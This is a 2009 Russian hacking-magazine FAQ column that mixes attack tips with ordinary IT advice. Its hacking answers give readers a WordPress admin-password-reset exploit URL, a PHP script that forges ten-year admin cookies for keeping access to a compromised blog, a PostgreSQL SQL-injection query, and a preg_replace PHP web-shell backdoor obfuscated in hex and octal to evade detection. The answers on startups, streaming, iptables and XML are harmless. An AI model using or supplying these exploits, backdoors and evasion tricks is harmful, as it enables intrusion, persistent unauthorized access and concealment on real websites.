Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 129, СЕНТЯБРЬ 2009 г.

FAQ

Маг (icq 884888, http://wap-chat.ru)

Q: Что новенького из уязвимостей в WordPress появилось в последнее время?

A: Недавно некий Laurent Gaffie обнаружил в последней (на данный момент) версии 2.8.3 сабжевого движка для создания блогов замечательный баг, позволяющий без каких-либо подтверждений сбросить пароль админа. Если ты внимательно читал мои этюды про вордпресс в предыдущих номерах ][, то, наверняка, должен помнить о подобном баге в WordPress <= 2.6.1. Тогда (впрочем, как и сейчас) баг позволял скинуть пароль админа при включенной регистрации на блоге и хитрых манипуляций с обрезанием пробелов в мускуле. Сейчас же все гораздо проще - регистрация не нужна, но новый пароль, как и прежде, узнает только лишь законный владелец админского мыла. Для эксплуатации бага тебе всего лишь необходимо пройти по ссылке вида http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=. При этом пароль успешно сбросится :) Работает фишка только в 2.8.x ветке и проявляется в следующем коде в wp-login.php:

function reset_password($key) {
global $wpdb;

$key = preg_replace('/[^a-z0-9]/i', '', $key);

if ( empty( $key ) )
return new WP_Error('invalid_key', __('Invalid key'));

$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
...
}

Здесь функция prepare() приводит наш массив $key к строковому типу, вследствие чего $key становится пустым и подходит абсолютно для всех записей в таблице пользователей. Как видишь, для этой замечательной уязвимости можно написать массовый эксплойт, который превратит жизнь админов вордпрессовских блогов в хаос. Но, так как практической пользы от этого нехитрого действа для тебя не будет никакой, я не советую заниматься такими пакостями.

P.S. Подробное advisory смотри по ссылке http://packetstormsecurity.org/0908-exploits/wordpress-adminreset.txt.

Q: Взломал блог на WordPress. Как бы мне теперь заполучить админские куки на случай, если мой шелл удалят?

A: Механизм генерации кукисов в вордпрессе не из самых простых, но, немного покурив исходники, можно составить небольшой скрипт, отвечающий за вывод этих самых пресловутых кукис на экран:

<?php
include './wp-includes/wp-settings.php';
//ищем секретный ключ из конфига и соль из базы
function wps()
{
global $wp_default_secret_key;
$w = $wp_default_secret_key;
if(defined('SECRET_KEY') && $w != SECRET_KEY)
$secret_key = SECRET_KEY;
if(defined('AUTH_KEY') && $w != AUTH_KEY)
$secret_key = AUTH_KEY;
$salt=get_option('auth_salt');
if(empty($salt))
$salt = get_option('secret');
return $secret_key.$salt;
}
//функция генерирует авторизационные кукисы
function auc($u = 'admin')
{
global $wp_version;
$s = ($wp_version != '2.5') ? '|' : '';
$t = 2107184816;
return $u.'|'.$t.'|'.hash_hmac('md5', $u.$s.$t,hash_hmac('md5',$u.$s.$t,wps()));
}
//выводим на экран
print AUTH_COOKIE.'='.auc();
?>

Код выведет для тебя годные в течение 10 лет куки пользователя admin.

Q: Нашел SQL-инъекцию в движке, который использует PostgreSQL, но никак не могу получить доступ к базе Information_schema. Не знаешь, в чем дело?

A: Вероятней всего, тебе попалась старая версия PostgreSQL, в которой попросту не существовало Information_schema. К счастью, в то время было некое жалкое подобие этой базы под названием PG_TABLES. Как следует из названия, отсюда мы сможем узнать только таблицы, но никак не колонки (их придется подбирать вручную). Итак, исходя из того, что здесь названия таблиц хранятся в колонке TABLENAME, можно составить примерный запрос для эксплуатации твоей скули:

http://www.site.com/postgre.php?id=-999 union select TABLENAME,null,null,null,null from PG_TABLES limit 1 offset 0--

Q: Хочу создать свой стартап, но нужна какая-либо оригинальная идея. Отсюда вопрос: какие западные стартапы считаются самыми успешными в интернете?

A: Если исходить из формата «Top 10», то можно выделить следующие мегауспешные веб-стартапы последних нескольких лет:

  1. MySpace (http://www.myspace.com), социальная сеть, основана в июле 2003 года;
  2. YouTube (http://www.youtube.com), видеохостинг, основан в феврале 2005 года;
  3. Facebook (http://www.facebook.com), социальная сеть, основана в феврале 2004 года;
  4. Wikipedia (http://www.wikipedia.org), wiki-based энциклопедия, январь 2001;
  5. Bebo (http://www.bebo.com), социальная сеть, январь 2005 года;
  6. Digg (http://www.digg.com), социальная сеть новостей, ноябрь 2004 года;
  7. Flickr (http://www.flickr.com), фотохостинг, февраль 2004;
  8. Netvibes (http://www.netvibes.com), твоя стартовая страница интернета, сентябрь 2005;
  9. Del.icio.us (http://del.icio.us), социальные закладки, конец 2003 года;
  10. Meebo (http://www.meebo.com), онлайн-мессенджер, сентябрь 2005 года.

Как видно из вышеприведенного списка, все самые лакомые идеи из его начала уже заняты русскими стартаперами. Конец же списка вполне свободен для рунета. Так что, действуй :).

Q: Сделал карту VISA на сервисе Epassporte.com. Всем доволен, кроме мизерного лимита на снятие денег в банкоматах - 320 баксов в день. Как поднять этот лимит?

A: Если ты не хочешь пользоваться мудреными инструкциями по увеличению лимитов самого епасса (пункт меню «Increase your limits» в админке), то советую воспользоваться сервисом ePayService (http://www.epayservice.ru), который предлагает своим клиентам получить карту Visa Electron ePassporte с изначально установленным дневным лимитом на снятие наличности до $25.000.

Для открытия счета в ePassporte с помощью сайта необходимо, чтобы на твоем счету в EPS Banking Online находилась сумма не менее $50 ($10 уже будет у тебя на карте). Стоимость открытия счета зависит от дневного лимита на снятие наличности по карте ePassporte и может составлять от $50 до $300 в зависимости от дневного лимита ($520-$25.050). Сроки изготовления карты - 10-14 рабочих дней; сроки доставки: курьерской почтой (+$100) 3-4 рабочих дня, обычной почтой - около 3-х недель.

Q: Подскажи, каким образом можно надежней всего оставить свой бэкдор на сайте, движок которого написан на php? Способ с eval(base64_decode()) уже очень хорошо палится.

A: Действительно, найти злонамеренный код, вызываемый через функцию eval, в своих скриптах проще простого (например, можно использовать всеми любимый grep eval ./*). Поэтому пытливые умы хакеров придумывают все новые и новые способы хитрого инжекта бэкдоров в php-скрипты.

Итак, сначала немного теории. Как ты, наверняка, уже знаешь, замечательная функция preg_replace() позволяет выполнять любой код с помощью модификатора «e»:

<?php
preg_replace('@(.+)@ie',"\1",'phpinfo();');
?>

Эта нехитрая регулярка вполне успешно выведет на твой экран результат выполнения функции phpinfo(). Теперь зададимся вопросом: почему бы нам не сконструировать свой бэкдор с помощью preg_replace()? Сделать это можно, например, так:

<?php
preg_replace('@(.+)@ie','eval("\1");','$_REQUEST[cmd]');
?>

Код будет выполнять любую php-конструкцию, переданную в скрипт с помощью параметра cmd. К примеру, так ты сможешь вывести на экран phpinfo():

http://site.com/backdoor.php?cmd=phpinfo();

В этом способе все хорошо, кроме того, что он замечательно палится из-за наличия модификатора «e» и вызова eval. Конечно, можно это дело замаскировать с помощью того же base64, но полученный код все еще будет очень подозрительным и крайне легким для расшифровки.

Здесь нельзя не вспомнить особенность php, которая заключается в том, что шестнадцатеричные (hex) и восьмеричные (oct) символы можно использовать в качестве параметров функции и просто в качестве альтернативного способа написания любых строк (использовать эти символы необходимо в двойных кавычках).

Привожу пример функции, которая закодирует любую строку в нужное нам представление (причем, hex и oct будут чередоваться для усложнения дешифровки строки):

function str2hexoct($str)
{
$str2hex = urldecode($str);
$returnstr='';
for($i=0;$i<strlen($str);$i++)
{
$hex=dechex(ord($str[$i]));
if($i % 2 != 0)
{
$hex=base_convert($hex, 16, 8);
$returnstr .= "\$hex";
}
else
$returnstr .= "\x$hex";
}
return $returnstr;
}

Теперь заюзаем эту функцию для шифровки вышеприведенных аргументов функции preg_replace():

<?php
function str2hexoct($str)
{
...
}
$my_code = 'preg_replace("'.str2hexoct('@(.+)@ie').'","'.str2hexoct('eval("\1");').'","'.str2hexoct('$_REQUEST[cmd]').'");';
print $my_code;
?>

После выполнения скрипт выведет на экран следующее значение, которое вполне успешно можно юзать для бэкдоров без всяких eval и base64:

preg_replace("x4050x2e53x29100x69145","x65166x61154x28
42x5c61x2251x3b","x24137x52105x51125x45123x54133x63
155x64135");

Как видишь, теперь все аргументы нашей функции зашифрованы в hex и oct представлении. Кстати, свою работоспособность от этого она не потеряла и все так же выполнит для тебя любой php-код через переданный скрипту параметр cmd :)

Q: Слышал о создании нейронной сети по распознаванию капчи на JavaScript. Где можно узнать об этом поподробней?

A: Действительно, некий Shaun Friedle написал на обычном javascript OCR-модуль для распознавания captcha на сервисе megaupload.com. Модуль представляет собой искусственную нейронную сеть для работы с картинками с помощью HTML 5 js-функции getImageData. Посмотреть пример работы и прочитать технические детали можно здесь: http://herecomethelizards.co.uk/mu_captcha, а исходный код скрипта находится по адресу http://userscripts.org/scripts/review/38736.

Q: Есть необходимость транслировать видео (например, с веб-камеры) в инет. В распоряжении есть сервер. Как лучше это реализовать?

A: На самом деле, вариантов множество. Если брать конкретные программные продукты для организации веб-трансляции, то советую взглянуть в сторону webcamXP Pro (http://www.webcamxp.com), VLC (www.videolan.org/vlc) и чрезвычайно мощного Wowza Media Server (http://www.wowzamedia.com). Можно также попробовать: ffserver (http://ffmpeg.org/ffserver-doc.html), camserv (http://cserv.sourceforge.net), webcam-server (http://webcamserver.sourceforge.net).

Одним из самых практичных вариантов, пожалуй, является трансляция видео через Flash-плеер - в таком случае с воспроизведением не будет проблем у большинства пользователей. Реализовать можно с помощью двух продуктов: Adobe Flash Media Encoder (http://www.adobe.com/products/flashmediaencoding) и Adobe FMS (http://www.adobe.com/products/flashmediaserver/flashmediaencoder). То же самое вполне реально организовать с помощью опен-сорнсоного продукта Red5 (http://osflash.org/red5). Особенно приятно, что видео в этом случае можно транслировать с нескольких камер одновременно.

Q: Я хочу транслировать в инет видео с моей веб-камеры. Как это сделать без собственного сервера?

A: Самый простой вариант - заюзать специальные сервисы для организации трансляции. Такой функционал есть на smotri.com, rutube.ru и yatv.ru. Последний, кстати, пока мало нагружен и буквально летает.

Q: Слышал, есть некий китайский офис - полный клон продукта от MS. Где найти?

A: Да, сделать полный клон и дать возможность клиентам приобрести более дешевый продукт – было главной задачей программистов ElOffice (http://www.evermoresw.com). Проект разрабатывается 9 лет, написан на Java, есть версии для Windows, Linux и Symbian OS. Имеется бета-версия для работы в онлайне через браузер.

Q: Есть ли в Windows аналог команды uname, чтобы быстро определить версию системы? А то, бывает, получишь доступ к cmd.exe, а о принадлежности хоста к той или иной ОС приходится судить по косвенными признакам.

A: Такая команда есть: ver. Например, на офисном компьютере «Геймленда» команда выдает:

C:usr>ver
Microsoft Windows XP [Версия 5.1.2600]

Это означает, что в качестве операционки используется Windows XP

Q: Я живу в провинции, где до сих пор инет тарифицируется по трафику, а безлимитных тарифов по адекватным ценам нет. И все бы ничего, если бы не необходимость общаться с работодателем (я фрилансер) по Skype. Эта зараза жрет чертовски много трафика, даже если звонки непосредственно не осуществляются. Ведь есть же аналог, но с меньшим потреблением трафика?

A: Да, действительно: Skype может использовать часть полосы твоего канала в любое время, когда он запущен. Благодаря этому удается обеспечить связь на любых компьютерах, даже находящихся за NAT. Увы: страдают те, у кого каждый мегабайт по-прежнему на счету. В качестве альтернативы можно попробовать VoIP-сервис nonoh.net. Клиент, конечно, серьезно проигрывает по удобству Skype, но зато отличается минимальным потреблением трафика и бесплатными звонками во многие страны, а в России - в Москву и Питер.

Q: Поставил CentOS, но обратиться к моим службам LDAP никто не может. Как это исправить.

A: Дело в том, что конфигурация Iptables в системах CentOS / Red Hat / RHEL / Fedora Linux не позволяет осуществить входящие соединения к службам LDAP. Нужно открыть порты TCP #389 и TCP # 636, добавив следующие строчки в /etc/sysconfig/iptables:

-A RH-Firewall-1-INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 389 -j ACCEPT
-A RH-Firewall-1-INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 636 -j ACCEPT

Затем необходимо обновление службы iptables командой «service iptables reload». После этого подключение будут приниматься ото всех компьютеров из подсети 192.168.1.0/24.

Q: Есть несколько конфигов в XML, где все данные написаны одной строкой. Подскажи, есть ли способ автоматически отформатировать файлы так, чтобы появились отступы в соответствии со вложенностью элементов?

A: Чтобы превратить непонятную кашу в опрятный XML-файл, можно воспользоваться готовым XSL-преобразованием:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml"/>
<xsl:param name="indent-increment" select="&apos; &apos;" />

<xsl:template match="*">
<xsl:param name="indent" select="&apos;&#xA;&apos;"/>

<xsl:value-of select="$indent"/>
<xsl:copy>
<xsl:copy-of select="@*" />
<xsl:apply-templates>
<xsl:with-param name="indent"
select="concat($indent, $indent-increment)"/>
</xsl:apply-templates>
<xsl:value-of select="$indent"/>
</xsl:copy>
</xsl:template>

<xsl:template match="comment()|processing-instruction()">
<xsl:copy />
</xsl:template>

<!-- WARNING: this is dangerous. Handle with care -->
<xsl:template match="text()[normalize-space(.)=&apos;&apos;]"/>

</xsl:stylesheet>

Применить XSL-преобразование к XML-файлу можно с помощью утилиты xmlstarlet (http://xmlstar.sourceforge.net).

Содержание
ttfb: 6.7691802978516 ms